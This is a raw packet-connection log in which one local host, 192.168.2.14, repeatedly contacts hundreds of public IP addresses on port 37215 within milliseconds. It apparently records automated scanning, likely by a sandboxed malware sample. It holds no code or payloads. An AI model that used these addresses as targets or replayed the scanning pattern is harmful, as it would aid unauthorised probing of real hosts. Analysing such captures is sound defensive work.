Aug 6, 2024 08:32:57.867796898 CEST	33674	37215	192.168.2.14	41.132.244.189
Aug 6, 2024 08:32:57.867796898 CEST	33872	37215	192.168.2.14	41.132.244.189
Aug 6, 2024 08:32:57.867796898 CEST	54012	37215	192.168.2.14	197.49.113.26
Aug 6, 2024 08:32:57.867796898 CEST	54012	37215	192.168.2.14	197.49.113.26
Aug 6, 2024 08:32:57.867866993 CEST	48688	37215	192.168.2.14	197.243.147.108
Aug 6, 2024 08:32:57.867868900 CEST	54210	37215	192.168.2.14	197.49.113.26
Aug 6, 2024 08:32:57.867866993 CEST	48688	37215	192.168.2.14	197.243.147.108
Aug 6, 2024 08:32:57.867866993 CEST	48886	37215	192.168.2.14	197.243.147.108
Aug 6, 2024 08:32:57.868155956 CEST	37215	59852	156.161.239.9	192.168.2.14
Aug 6, 2024 08:32:57.868168116 CEST	37215	43938	41.126.48.149	192.168.2.14
Aug 6, 2024 08:32:57.868179083 CEST	37215	42130	41.93.67.128	192.168.2.14
Aug 6, 2024 08:32:57.868189096 CEST	37215	39546	156.71.179.176	192.168.2.14
Aug 6, 2024 08:32:57.868200064 CEST	37215	34840	156.115.124.112	192.168.2.14
Aug 6, 2024 08:32:57.868208885 CEST	37215	53928	197.90.150.199	192.168.2.14
Aug 6, 2024 08:32:57.868212938 CEST	37215	42322	41.229.93.116	192.168.2.14
Aug 6, 2024 08:32:57.868215084 CEST	43938	37215	192.168.2.14	41.126.48.149
Aug 6, 2024 08:32:57.868217945 CEST	59852	37215	192.168.2.14	156.161.239.9
Aug 6, 2024 08:32:57.868225098 CEST	37215	48678	197.104.64.187	192.168.2.14
Aug 6, 2024 08:32:57.868230104 CEST	42130	37215	192.168.2.14	41.93.67.128
Aug 6, 2024 08:32:57.868230104 CEST	39546	37215	192.168.2.14	156.71.179.176
Aug 6, 2024 08:32:57.868242979 CEST	34840	37215	192.168.2.14	156.115.124.112
Aug 6, 2024 08:32:57.868247032 CEST	37215	55712	156.63.7.9	192.168.2.14
Aug 6, 2024 08:32:57.868258953 CEST	59852	37215	192.168.2.14	156.161.239.9
Aug 6, 2024 08:32:57.868258953 CEST	59852	37215	192.168.2.14	156.161.239.9
Aug 6, 2024 08:32:57.868263006 CEST	37215	39676	41.191.113.153	192.168.2.14
Aug 6, 2024 08:32:57.868273973 CEST	37215	59788	156.233.189.37	192.168.2.14
Aug 6, 2024 08:32:57.868278980 CEST	60046	37215	192.168.2.14	156.161.239.9
Aug 6, 2024 08:32:57.868283987 CEST	37215	41076	197.202.46.32	192.168.2.14
Aug 6, 2024 08:32:57.868285894 CEST	43938	37215	192.168.2.14	41.126.48.149
Aug 6, 2024 08:32:57.868294001 CEST	43938	37215	192.168.2.14	41.126.48.149
Aug 6, 2024 08:32:57.868294001 CEST	37215	54680	156.78.201.98	192.168.2.14
Aug 6, 2024 08:32:57.868304968 CEST	37215	35670	41.87.115.224	192.168.2.14
Aug 6, 2024 08:32:57.868319988 CEST	44132	37215	192.168.2.14	41.126.48.149
Aug 6, 2024 08:32:57.868329048 CEST	37215	34954	156.57.27.188	192.168.2.14
Aug 6, 2024 08:32:57.868340969 CEST	37215	38342	41.246.8.105	192.168.2.14
Aug 6, 2024 08:32:57.868350983 CEST	37215	57434	41.21.190.34	192.168.2.14
Aug 6, 2024 08:32:57.868361950 CEST	37215	39178	41.138.87.130	192.168.2.14
Aug 6, 2024 08:32:57.868371010 CEST	37215	36504	156.204.167.229	192.168.2.14
Aug 6, 2024 08:32:57.868380070 CEST	37215	53398	197.75.73.10	192.168.2.14
Aug 6, 2024 08:32:57.868398905 CEST	42332	37215	192.168.2.14	41.93.67.128
Aug 6, 2024 08:32:57.868402958 CEST	37215	55552	156.214.108.255	192.168.2.14
Aug 6, 2024 08:32:57.868408918 CEST	42130	37215	192.168.2.14	41.93.67.128
Aug 6, 2024 08:32:57.868408918 CEST	42130	37215	192.168.2.14	41.93.67.128
Aug 6, 2024 08:32:57.868411064 CEST	39748	37215	192.168.2.14	156.71.179.176
Aug 6, 2024 08:32:57.868415117 CEST	37215	58398	197.104.24.129	192.168.2.14
Aug 6, 2024 08:32:57.868426085 CEST	37215	54370	197.63.193.232	192.168.2.14
Aug 6, 2024 08:32:57.868436098 CEST	37215	41426	156.91.72.96	192.168.2.14
Aug 6, 2024 08:32:57.868446112 CEST	37215	45238	156.255.60.96	192.168.2.14
Aug 6, 2024 08:32:57.868451118 CEST	39546	37215	192.168.2.14	156.71.179.176
Aug 6, 2024 08:32:57.868451118 CEST	39546	37215	192.168.2.14	156.71.179.176
Aug 6, 2024 08:32:57.868455887 CEST	37215	43508	41.238.196.59	192.168.2.14
Aug 6, 2024 08:32:57.868455887 CEST	34840	37215	192.168.2.14	156.115.124.112
Aug 6, 2024 08:32:57.868467093 CEST	37215	43946	197.141.127.19	192.168.2.14
Aug 6, 2024 08:32:57.868469000 CEST	34840	37215	192.168.2.14	156.115.124.112
Aug 6, 2024 08:32:57.868478060 CEST	37215	47784	197.115.196.137	192.168.2.14
Aug 6, 2024 08:32:57.868479967 CEST	35038	37215	192.168.2.14	156.115.124.112
Aug 6, 2024 08:32:57.868494987 CEST	37215	55896	197.166.211.169	192.168.2.14
Aug 6, 2024 08:32:57.868506908 CEST	37215	41254	41.196.151.196	192.168.2.14
Aug 6, 2024 08:32:57.868515968 CEST	37215	52724	197.38.129.206	192.168.2.14
Aug 6, 2024 08:32:57.868526936 CEST	37215	36340	197.59.82.212	192.168.2.14
Aug 6, 2024 08:32:57.868535995 CEST	37215	44574	156.11.49.218	192.168.2.14
Aug 6, 2024 08:32:57.868547916 CEST	37215	47764	41.2.112.41	192.168.2.14
Aug 6, 2024 08:32:57.868557930 CEST	37215	53614	41.226.196.102	192.168.2.14
Aug 6, 2024 08:32:57.868566990 CEST	37215	38232	41.199.95.162	192.168.2.14
Aug 6, 2024 08:32:57.868577003 CEST	37215	49024	197.241.32.4	192.168.2.14
Aug 6, 2024 08:32:57.868596077 CEST	37215	42684	197.76.241.245	192.168.2.14
Aug 6, 2024 08:32:57.868606091 CEST	37215	40324	41.87.34.185	192.168.2.14
Aug 6, 2024 08:32:57.868616104 CEST	37215	47550	41.38.168.255	192.168.2.14
Aug 6, 2024 08:32:57.868626118 CEST	37215	45548	156.49.6.9	192.168.2.14
Aug 6, 2024 08:32:57.868635893 CEST	37215	36724	41.154.221.237	192.168.2.14
Aug 6, 2024 08:32:57.868644953 CEST	37215	54512	41.212.248.151	192.168.2.14
Aug 6, 2024 08:32:57.868654013 CEST	37215	40314	197.219.157.185	192.168.2.14
Aug 6, 2024 08:32:57.868664980 CEST	37215	45018	197.157.57.38	192.168.2.14
Aug 6, 2024 08:32:57.868674994 CEST	37215	47080	41.170.201.4	192.168.2.14
Aug 6, 2024 08:32:57.868685007 CEST	37215	47130	156.137.142.77	192.168.2.14
Aug 6, 2024 08:32:57.868695021 CEST	37215	37708	156.48.101.240	192.168.2.14
Aug 6, 2024 08:32:57.868704081 CEST	37215	50222	156.134.51.115	192.168.2.14
Aug 6, 2024 08:32:57.868714094 CEST	37215	39328	156.5.79.218	192.168.2.14
Aug 6, 2024 08:32:57.868722916 CEST	37215	36706	156.224.13.65	192.168.2.14
Aug 6, 2024 08:32:57.868731976 CEST	37215	42596	41.156.102.139	192.168.2.14
Aug 6, 2024 08:32:57.868741989 CEST	37215	35352	197.216.33.121	192.168.2.14
Aug 6, 2024 08:32:57.868752003 CEST	37215	50976	197.130.113.46	192.168.2.14
Aug 6, 2024 08:32:57.868762016 CEST	37215	58014	197.132.154.218	192.168.2.14
Aug 6, 2024 08:32:57.868771076 CEST	37215	47040	41.138.212.138	192.168.2.14
Aug 6, 2024 08:32:57.868779898 CEST	37215	59220	156.243.120.101	192.168.2.14
Aug 6, 2024 08:32:57.868789911 CEST	37215	34984	156.51.145.41	192.168.2.14
Aug 6, 2024 08:32:57.868802071 CEST	37215	57348	41.247.44.228	192.168.2.14
Aug 6, 2024 08:32:57.868813038 CEST	37215	34372	197.173.7.129	192.168.2.14
Aug 6, 2024 08:32:57.868822098 CEST	37215	46414	197.28.1.133	192.168.2.14
Aug 6, 2024 08:32:57.868832111 CEST	37215	53156	197.228.21.108	192.168.2.14
Aug 6, 2024 08:32:57.868844032 CEST	37215	53234	41.146.232.115	192.168.2.14
Aug 6, 2024 08:32:57.868853092 CEST	37215	45798	41.218.183.57	192.168.2.14
Aug 6, 2024 08:32:57.868861914 CEST	37215	60858	156.255.113.130	192.168.2.14
Aug 6, 2024 08:32:57.868870974 CEST	37215	47186	156.20.59.113	192.168.2.14
Aug 6, 2024 08:32:57.868880987 CEST	37215	59422	197.42.1.152	192.168.2.14
Aug 6, 2024 08:32:57.868890047 CEST	37215	34218	197.14.35.101	192.168.2.14
Aug 6, 2024 08:32:57.868901014 CEST	37215	41682	197.99.255.71	192.168.2.14
Aug 6, 2024 08:32:57.868911982 CEST	37215	55596	197.243.175.21	192.168.2.14
Aug 6, 2024 08:32:57.868921995 CEST	37215	54044	156.132.223.150	192.168.2.14
Aug 6, 2024 08:32:57.868941069 CEST	37215	56982	197.26.44.71	192.168.2.14
Aug 6, 2024 08:32:57.868947983 CEST	55596	37215	192.168.2.14	197.243.175.21
Aug 6, 2024 08:32:57.868948936 CEST	41682	37215	192.168.2.14	197.99.255.71
Aug 6, 2024 08:32:57.868952036 CEST	37215	34696	197.239.85.60	192.168.2.14
Aug 6, 2024 08:32:57.868952990 CEST	54044	37215	192.168.2.14	156.132.223.150
Aug 6, 2024 08:32:57.868962049 CEST	37215	58266	156.206.209.219	192.168.2.14
Aug 6, 2024 08:32:57.868973970 CEST	37215	52110	156.3.234.130	192.168.2.14
Aug 6, 2024 08:32:57.868983984 CEST	37215	39764	156.120.149.131	192.168.2.14
Aug 6, 2024 08:32:57.868988037 CEST	37215	50118	197.236.195.48	192.168.2.14
Aug 6, 2024 08:32:57.868992090 CEST	37215	60082	41.61.105.166	192.168.2.14
Aug 6, 2024 08:32:57.868993998 CEST	58266	37215	192.168.2.14	156.206.209.219
Aug 6, 2024 08:32:57.869000912 CEST	56982	37215	192.168.2.14	197.26.44.71
Aug 6, 2024 08:32:57.869002104 CEST	34696	37215	192.168.2.14	197.239.85.60
Aug 6, 2024 08:32:57.869066000 CEST	41880	37215	192.168.2.14	197.99.255.71
Aug 6, 2024 08:32:57.869069099 CEST	41682	37215	192.168.2.14	197.99.255.71
Aug 6, 2024 08:32:57.869070053 CEST	55596	37215	192.168.2.14	197.243.175.21
Aug 6, 2024 08:32:57.869071960 CEST	55794	37215	192.168.2.14	197.243.175.21
Aug 6, 2024 08:32:57.869069099 CEST	41682	37215	192.168.2.14	197.99.255.71
Aug 6, 2024 08:32:57.869070053 CEST	39764	37215	192.168.2.14	156.120.149.131
Aug 6, 2024 08:32:57.869070053 CEST	55596	37215	192.168.2.14	197.243.175.21
Aug 6, 2024 08:32:57.869070053 CEST	50118	37215	192.168.2.14	197.236.195.48
Aug 6, 2024 08:32:57.869077921 CEST	60082	37215	192.168.2.14	41.61.105.166
Aug 6, 2024 08:32:57.869127989 CEST	54044	37215	192.168.2.14	156.132.223.150
Aug 6, 2024 08:32:57.869127989 CEST	54044	37215	192.168.2.14	156.132.223.150
Aug 6, 2024 08:32:57.869133949 CEST	54242	37215	192.168.2.14	156.132.223.150
Aug 6, 2024 08:32:57.869144917 CEST	37215	48510	197.24.106.202	192.168.2.14
Aug 6, 2024 08:32:57.869146109 CEST	52110	37215	192.168.2.14	156.3.234.130
Aug 6, 2024 08:32:57.869158030 CEST	56982	37215	192.168.2.14	197.26.44.71
Aug 6, 2024 08:32:57.869158030 CEST	56982	37215	192.168.2.14	197.26.44.71
Aug 6, 2024 08:32:57.869172096 CEST	57180	37215	192.168.2.14	197.26.44.71
Aug 6, 2024 08:32:57.869178057 CEST	48510	37215	192.168.2.14	197.24.106.202
Aug 6, 2024 08:32:57.869209051 CEST	34696	37215	192.168.2.14	197.239.85.60
Aug 6, 2024 08:32:57.869209051 CEST	34696	37215	192.168.2.14	197.239.85.60
Aug 6, 2024 08:32:57.869216919 CEST	34894	37215	192.168.2.14	197.239.85.60
Aug 6, 2024 08:32:57.869226933 CEST	58266	37215	192.168.2.14	156.206.209.219
Aug 6, 2024 08:32:57.869226933 CEST	58266	37215	192.168.2.14	156.206.209.219
Aug 6, 2024 08:32:57.869246006 CEST	37215	39016	156.127.251.19	192.168.2.14
Aug 6, 2024 08:32:57.869256020 CEST	37215	54398	41.216.206.238	192.168.2.14
Aug 6, 2024 08:32:57.869266033 CEST	37215	36414	156.110.250.215	192.168.2.14
Aug 6, 2024 08:32:57.869277000 CEST	37215	40578	41.84.43.12	192.168.2.14
Aug 6, 2024 08:32:57.869280100 CEST	58464	37215	192.168.2.14	156.206.209.219
Aug 6, 2024 08:32:57.869286060 CEST	37215	33062	41.247.194.250	192.168.2.14
Aug 6, 2024 08:32:57.869288921 CEST	50118	37215	192.168.2.14	197.236.195.48
Aug 6, 2024 08:32:57.869290113 CEST	39016	37215	192.168.2.14	156.127.251.19
Aug 6, 2024 08:32:57.869297028 CEST	37215	35300	197.146.41.152	192.168.2.14
Aug 6, 2024 08:32:57.869302988 CEST	36414	37215	192.168.2.14	156.110.250.215
Aug 6, 2024 08:32:57.869302988 CEST	50312	37215	192.168.2.14	197.236.195.48
Aug 6, 2024 08:32:57.869306087 CEST	40578	37215	192.168.2.14	41.84.43.12
Aug 6, 2024 08:32:57.869307995 CEST	37215	34172	41.130.36.148	192.168.2.14
Aug 6, 2024 08:32:57.869318008 CEST	54398	37215	192.168.2.14	41.216.206.238
Aug 6, 2024 08:32:57.869318008 CEST	50118	37215	192.168.2.14	197.236.195.48
Aug 6, 2024 08:32:57.869322062 CEST	37215	41196	156.239.82.241	192.168.2.14
Aug 6, 2024 08:32:57.869323015 CEST	52110	37215	192.168.2.14	156.3.234.130
Aug 6, 2024 08:32:57.869323015 CEST	52110	37215	192.168.2.14	156.3.234.130
Aug 6, 2024 08:32:57.869332075 CEST	33062	37215	192.168.2.14	41.247.194.250
Aug 6, 2024 08:32:57.869334936 CEST	52310	37215	192.168.2.14	156.3.234.130
Aug 6, 2024 08:32:57.869342089 CEST	34172	37215	192.168.2.14	41.130.36.148
Aug 6, 2024 08:32:57.869347095 CEST	35300	37215	192.168.2.14	197.146.41.152
Aug 6, 2024 08:32:57.869357109 CEST	39764	37215	192.168.2.14	156.120.149.131
Aug 6, 2024 08:32:57.869357109 CEST	39764	37215	192.168.2.14	156.120.149.131
Aug 6, 2024 08:32:57.869357109 CEST	41196	37215	192.168.2.14	156.239.82.241
Aug 6, 2024 08:32:57.869364977 CEST	39964	37215	192.168.2.14	156.120.149.131
Aug 6, 2024 08:32:57.869381905 CEST	60082	37215	192.168.2.14	41.61.105.166
Aug 6, 2024 08:32:57.869381905 CEST	60082	37215	192.168.2.14	41.61.105.166
Aug 6, 2024 08:32:57.869400978 CEST	60280	37215	192.168.2.14	41.61.105.166
Aug 6, 2024 08:32:57.869440079 CEST	48510	37215	192.168.2.14	197.24.106.202
Aug 6, 2024 08:32:57.869452953 CEST	48510	37215	192.168.2.14	197.24.106.202
Aug 6, 2024 08:32:57.869524002 CEST	39016	37215	192.168.2.14	156.127.251.19
Aug 6, 2024 08:32:57.869524002 CEST	39016	37215	192.168.2.14	156.127.251.19
Aug 6, 2024 08:32:57.869539022 CEST	39214	37215	192.168.2.14	156.127.251.19
Aug 6, 2024 08:32:57.869539022 CEST	54398	37215	192.168.2.14	41.216.206.238
Aug 6, 2024 08:32:57.869539976 CEST	54398	37215	192.168.2.14	41.216.206.238
Aug 6, 2024 08:32:57.869549990 CEST	48708	37215	192.168.2.14	197.24.106.202
Aug 6, 2024 08:32:57.869565964 CEST	54596	37215	192.168.2.14	41.216.206.238
Aug 6, 2024 08:32:57.869571924 CEST	36414	37215	192.168.2.14	156.110.250.215
Aug 6, 2024 08:32:57.869571924 CEST	36414	37215	192.168.2.14	156.110.250.215
Aug 6, 2024 08:32:57.869577885 CEST	37215	59274	156.141.181.78	192.168.2.14
Aug 6, 2024 08:32:57.869589090 CEST	37215	50348	197.201.240.82	192.168.2.14
Aug 6, 2024 08:32:57.869596004 CEST	36612	37215	192.168.2.14	156.110.250.215
Aug 6, 2024 08:32:57.869599104 CEST	37215	35802	156.165.159.159	192.168.2.14
Aug 6, 2024 08:32:57.869606972 CEST	59274	37215	192.168.2.14	156.141.181.78
Aug 6, 2024 08:32:57.869606972 CEST	40578	37215	192.168.2.14	41.84.43.12
Aug 6, 2024 08:32:57.869606972 CEST	40578	37215	192.168.2.14	41.84.43.12
Aug 6, 2024 08:32:57.869610071 CEST	37215	48732	197.135.201.145	192.168.2.14
Aug 6, 2024 08:32:57.869612932 CEST	50348	37215	192.168.2.14	197.201.240.82
Aug 6, 2024 08:32:57.869621992 CEST	37215	47292	41.22.10.251	192.168.2.14
Aug 6, 2024 08:32:57.869621992 CEST	40776	37215	192.168.2.14	41.84.43.12
Aug 6, 2024 08:32:57.869632006 CEST	37215	59742	41.243.106.194	192.168.2.14
Aug 6, 2024 08:32:57.869637012 CEST	35802	37215	192.168.2.14	156.165.159.159
Aug 6, 2024 08:32:57.869646072 CEST	37215	45156	156.168.2.129	192.168.2.14
Aug 6, 2024 08:32:57.869647026 CEST	48732	37215	192.168.2.14	197.135.201.145
Aug 6, 2024 08:32:57.869647980 CEST	35300	37215	192.168.2.14	197.146.41.152
Aug 6, 2024 08:32:57.869647980 CEST	35300	37215	192.168.2.14	197.146.41.152
Aug 6, 2024 08:32:57.869649887 CEST	35496	37215	192.168.2.14	197.146.41.152
Aug 6, 2024 08:32:57.869649887 CEST	47292	37215	192.168.2.14	41.22.10.251
Aug 6, 2024 08:32:57.869657993 CEST	37215	37012	197.25.36.107	192.168.2.14
Aug 6, 2024 08:32:57.869663954 CEST	59742	37215	192.168.2.14	41.243.106.194
Aug 6, 2024 08:32:57.869668007 CEST	33062	37215	192.168.2.14	41.247.194.250
Aug 6, 2024 08:32:57.869668007 CEST	33062	37215	192.168.2.14	41.247.194.250
Aug 6, 2024 08:32:57.869678020 CEST	45156	37215	192.168.2.14	156.168.2.129
Aug 6, 2024 08:32:57.869678020 CEST	37012	37215	192.168.2.14	197.25.36.107
Aug 6, 2024 08:32:57.869683027 CEST	33262	37215	192.168.2.14	41.247.194.250
Aug 6, 2024 08:32:57.869690895 CEST	41196	37215	192.168.2.14	156.239.82.241
Aug 6, 2024 08:32:57.869690895 CEST	41196	37215	192.168.2.14	156.239.82.241
Aug 6, 2024 08:32:57.869712114 CEST	41392	37215	192.168.2.14	156.239.82.241
Aug 6, 2024 08:32:57.869723082 CEST	34172	37215	192.168.2.14	41.130.36.148
Aug 6, 2024 08:32:57.869723082 CEST	34172	37215	192.168.2.14	41.130.36.148
Aug 6, 2024 08:32:57.869745016 CEST	34372	37215	192.168.2.14	41.130.36.148
Aug 6, 2024 08:32:57.869818926 CEST	59274	37215	192.168.2.14	156.141.181.78
Aug 6, 2024 08:32:57.869836092 CEST	59274	37215	192.168.2.14	156.141.181.78
Aug 6, 2024 08:32:57.869843960 CEST	59472	37215	192.168.2.14	156.141.181.78
Aug 6, 2024 08:32:57.869858980 CEST	50348	37215	192.168.2.14	197.201.240.82
Aug 6, 2024 08:32:57.869858980 CEST	50348	37215	192.168.2.14	197.201.240.82
Aug 6, 2024 08:32:57.869878054 CEST	37215	50910	41.136.180.243	192.168.2.14
Aug 6, 2024 08:32:57.869882107 CEST	50546	37215	192.168.2.14	197.201.240.82
Aug 6, 2024 08:32:57.869889021 CEST	37215	60692	197.39.213.224	192.168.2.14
Aug 6, 2024 08:32:57.869898081 CEST	37215	41892	197.30.136.119	192.168.2.14
Aug 6, 2024 08:32:57.869909048 CEST	37215	55994	197.126.162.69	192.168.2.14
Aug 6, 2024 08:32:57.869916916 CEST	50910	37215	192.168.2.14	41.136.180.243
Aug 6, 2024 08:32:57.869925022 CEST	48732	37215	192.168.2.14	197.135.201.145
Aug 6, 2024 08:32:57.869925022 CEST	48732	37215	192.168.2.14	197.135.201.145
Aug 6, 2024 08:32:57.869926929 CEST	36000	37215	192.168.2.14	156.165.159.159
Aug 6, 2024 08:32:57.869927883 CEST	60692	37215	192.168.2.14	197.39.213.224
Aug 6, 2024 08:32:57.869927883 CEST	41892	37215	192.168.2.14	197.30.136.119
Aug 6, 2024 08:32:57.869930983 CEST	37215	49538	156.55.98.88	192.168.2.14
Aug 6, 2024 08:32:57.869937897 CEST	48930	37215	192.168.2.14	197.135.201.145
Aug 6, 2024 08:32:57.869940996 CEST	55994	37215	192.168.2.14	197.126.162.69
Aug 6, 2024 08:32:57.869941950 CEST	37215	34230	197.88.121.9	192.168.2.14
Aug 6, 2024 08:32:57.869952917 CEST	47292	37215	192.168.2.14	41.22.10.251
Aug 6, 2024 08:32:57.869952917 CEST	47292	37215	192.168.2.14	41.22.10.251
Aug 6, 2024 08:32:57.869956970 CEST	37215	37202	197.14.65.126	192.168.2.14
Aug 6, 2024 08:32:57.869963884 CEST	47490	37215	192.168.2.14	41.22.10.251
Aug 6, 2024 08:32:57.869966984 CEST	35802	37215	192.168.2.14	156.165.159.159
Aug 6, 2024 08:32:57.869967937 CEST	35802	37215	192.168.2.14	156.165.159.159
Aug 6, 2024 08:32:57.869981050 CEST	59742	37215	192.168.2.14	41.243.106.194
Aug 6, 2024 08:32:57.869981050 CEST	59742	37215	192.168.2.14	41.243.106.194
Aug 6, 2024 08:32:57.869982958 CEST	34230	37215	192.168.2.14	197.88.121.9
Aug 6, 2024 08:32:57.869986057 CEST	49538	37215	192.168.2.14	156.55.98.88
Aug 6, 2024 08:32:57.869990110 CEST	37202	37215	192.168.2.14	197.14.65.126
Aug 6, 2024 08:32:57.869997025 CEST	59940	37215	192.168.2.14	41.243.106.194
Aug 6, 2024 08:32:57.870049000 CEST	45156	37215	192.168.2.14	156.168.2.129
Aug 6, 2024 08:32:57.870049000 CEST	45156	37215	192.168.2.14	156.168.2.129
Aug 6, 2024 08:32:57.870049000 CEST	37012	37215	192.168.2.14	197.25.36.107
Aug 6, 2024 08:32:57.870049000 CEST	37012	37215	192.168.2.14	197.25.36.107
Aug 6, 2024 08:32:57.870132923 CEST	45354	37215	192.168.2.14	156.168.2.129
Aug 6, 2024 08:32:57.870132923 CEST	37210	37215	192.168.2.14	197.25.36.107
Aug 6, 2024 08:32:57.870173931 CEST	55994	37215	192.168.2.14	197.126.162.69
Aug 6, 2024 08:32:57.870173931 CEST	56186	37215	192.168.2.14	197.126.162.69
Aug 6, 2024 08:32:57.870173931 CEST	55994	37215	192.168.2.14	197.126.162.69
Aug 6, 2024 08:32:57.870210886 CEST	49538	37215	192.168.2.14	156.55.98.88
Aug 6, 2024 08:32:57.870210886 CEST	49538	37215	192.168.2.14	156.55.98.88
Aug 6, 2024 08:32:57.870237112 CEST	37215	53406	41.25.197.239	192.168.2.14
Aug 6, 2024 08:32:57.870248079 CEST	37215	44474	156.195.255.108	192.168.2.14
Aug 6, 2024 08:32:57.870249033 CEST	50910	37215	192.168.2.14	41.136.180.243
Aug 6, 2024 08:32:57.870249033 CEST	50910	37215	192.168.2.14	41.136.180.243
Aug 6, 2024 08:32:57.870250940 CEST	51112	37215	192.168.2.14	41.136.180.243
Aug 6, 2024 08:32:57.870251894 CEST	49730	37215	192.168.2.14	156.55.98.88
Aug 6, 2024 08:32:57.870269060 CEST	60692	37215	192.168.2.14	197.39.213.224
Aug 6, 2024 08:32:57.870269060 CEST	60692	37215	192.168.2.14	197.39.213.224
Aug 6, 2024 08:32:57.870275021 CEST	53406	37215	192.168.2.14	41.25.197.239
Aug 6, 2024 08:32:57.870290041 CEST	60894	37215	192.168.2.14	197.39.213.224
Aug 6, 2024 08:32:57.870302916 CEST	44474	37215	192.168.2.14	156.195.255.108
Aug 6, 2024 08:32:57.870311975 CEST	41892	37215	192.168.2.14	197.30.136.119
Aug 6, 2024 08:32:57.870311975 CEST	41892	37215	192.168.2.14	197.30.136.119
Aug 6, 2024 08:32:57.870337963 CEST	34230	37215	192.168.2.14	197.88.121.9
Aug 6, 2024 08:32:57.870337963 CEST	34230	37215	192.168.2.14	197.88.121.9
Aug 6, 2024 08:32:57.870343924 CEST	42094	37215	192.168.2.14	197.30.136.119
Aug 6, 2024 08:32:57.870390892 CEST	37202	37215	192.168.2.14	197.14.65.126
Aug 6, 2024 08:32:57.870390892 CEST	37202	37215	192.168.2.14	197.14.65.126
Aug 6, 2024 08:32:57.870394945 CEST	37400	37215	192.168.2.14	197.14.65.126
Aug 6, 2024 08:32:57.870397091 CEST	34428	37215	192.168.2.14	197.88.121.9
Aug 6, 2024 08:32:57.870488882 CEST	53604	37215	192.168.2.14	41.25.197.239
Aug 6, 2024 08:32:57.870505095 CEST	44474	37215	192.168.2.14	156.195.255.108
Aug 6, 2024 08:32:57.870505095 CEST	44474	37215	192.168.2.14	156.195.255.108
Aug 6, 2024 08:32:57.870507956 CEST	53406	37215	192.168.2.14	41.25.197.239
Aug 6, 2024 08:32:57.870508909 CEST	53406	37215	192.168.2.14	41.25.197.239
Aug 6, 2024 08:32:57.870548964 CEST	44672	37215	192.168.2.14	156.195.255.108
Aug 6, 2024 08:32:57.873600960 CEST	37215	40174	156.115.169.96	192.168.2.14
Aug 6, 2024 08:32:57.873620033 CEST	37215	45542	156.9.49.106	192.168.2.14
Aug 6, 2024 08:32:57.873724937 CEST	37215	40402	156.115.169.96	192.168.2.14
Aug 6, 2024 08:32:57.873784065 CEST	37215	45770	156.9.49.106	192.168.2.14
Aug 6, 2024 08:32:57.873783112 CEST	40402	37215	192.168.2.14	156.115.169.96
Aug 6, 2024 08:32:57.873822927 CEST	45770	37215	192.168.2.14	156.9.49.106
Aug 6, 2024 08:32:57.873830080 CEST	40402	37215	192.168.2.14	156.115.169.96
Aug 6, 2024 08:32:57.873858929 CEST	45770	37215	192.168.2.14	156.9.49.106
Aug 6, 2024 08:32:57.874047995 CEST	37215	33972	156.84.121.52	192.168.2.14
Aug 6, 2024 08:32:57.874116898 CEST	37215	34170	156.84.121.52	192.168.2.14
Aug 6, 2024 08:32:57.874129057 CEST	37215	37578	41.113.154.68	192.168.2.14
Aug 6, 2024 08:32:57.874159098 CEST	37578	37215	192.168.2.14	41.113.154.68
Aug 6, 2024 08:32:57.874161959 CEST	34170	37215	192.168.2.14	156.84.121.52
Aug 6, 2024 08:32:57.874180079 CEST	37578	37215	192.168.2.14	41.113.154.68
Aug 6, 2024 08:32:57.874200106 CEST	34170	37215	192.168.2.14	156.84.121.52
Aug 6, 2024 08:32:57.874201059 CEST	37215	37384	41.113.154.68	192.168.2.14
Aug 6, 2024 08:32:57.874212980 CEST	37215	51184	156.12.183.66	192.168.2.14
Aug 6, 2024 08:32:57.874222994 CEST	37215	51384	156.12.183.66	192.168.2.14
Aug 6, 2024 08:32:57.874233007 CEST	37215	44448	41.175.71.81	192.168.2.14
Aug 6, 2024 08:32:57.874247074 CEST	37215	44648	41.175.71.81	192.168.2.14
Aug 6, 2024 08:32:57.874260902 CEST	51384	37215	192.168.2.14	156.12.183.66
Aug 6, 2024 08:32:57.874275923 CEST	51384	37215	192.168.2.14	156.12.183.66
Aug 6, 2024 08:32:57.874324083 CEST	44648	37215	192.168.2.14	41.175.71.81
Aug 6, 2024 08:32:57.874325991 CEST	37215	45940	197.153.83.250	192.168.2.14
Aug 6, 2024 08:32:57.874350071 CEST	37215	52014	41.97.122.146	192.168.2.14
Aug 6, 2024 08:32:57.874361038 CEST	37215	46138	197.153.83.250	192.168.2.14
Aug 6, 2024 08:32:57.874372959 CEST	37215	52212	41.97.122.146	192.168.2.14
Aug 6, 2024 08:32:57.874396086 CEST	44648	37215	192.168.2.14	41.175.71.81
Aug 6, 2024 08:32:57.874466896 CEST	52212	37215	192.168.2.14	41.97.122.146
Aug 6, 2024 08:32:57.874481916 CEST	46138	37215	192.168.2.14	197.153.83.250
Aug 6, 2024 08:32:57.874483109 CEST	46138	37215	192.168.2.14	197.153.83.250
Aug 6, 2024 08:32:57.874491930 CEST	52212	37215	192.168.2.14	41.97.122.146
Aug 6, 2024 08:32:57.874564886 CEST	37215	46490	197.148.25.151	192.168.2.14
Aug 6, 2024 08:32:57.874577045 CEST	37215	46688	197.148.25.151	192.168.2.14
Aug 6, 2024 08:32:57.874587059 CEST	37215	42962	156.46.53.169	192.168.2.14
Aug 6, 2024 08:32:57.874598026 CEST	37215	43160	156.46.53.169	192.168.2.14
Aug 6, 2024 08:32:57.874610901 CEST	46688	37215	192.168.2.14	197.148.25.151
Aug 6, 2024 08:32:57.874627113 CEST	46688	37215	192.168.2.14	197.148.25.151
Aug 6, 2024 08:32:57.874634027 CEST	43160	37215	192.168.2.14	156.46.53.169
Aug 6, 2024 08:32:57.874655962 CEST	43160	37215	192.168.2.14	156.46.53.169
Aug 6, 2024 08:32:57.874752998 CEST	37215	44138	156.240.242.22	192.168.2.14
Aug 6, 2024 08:32:57.874783993 CEST	37215	44336	156.240.242.22	192.168.2.14
Aug 6, 2024 08:32:57.874795914 CEST	37215	54338	41.158.14.71	192.168.2.14
Aug 6, 2024 08:32:57.874808073 CEST	37215	54536	41.158.14.71	192.168.2.14
Aug 6, 2024 08:32:57.874842882 CEST	54536	37215	192.168.2.14	41.158.14.71
Aug 6, 2024 08:32:57.874842882 CEST	44336	37215	192.168.2.14	156.240.242.22
Aug 6, 2024 08:32:57.874842882 CEST	44336	37215	192.168.2.14	156.240.242.22
Aug 6, 2024 08:32:57.874882936 CEST	54536	37215	192.168.2.14	41.158.14.71
Aug 6, 2024 08:32:57.874891043 CEST	37215	55068	41.189.168.243	192.168.2.14
Aug 6, 2024 08:32:57.874907017 CEST	37215	41446	156.88.39.9	192.168.2.14
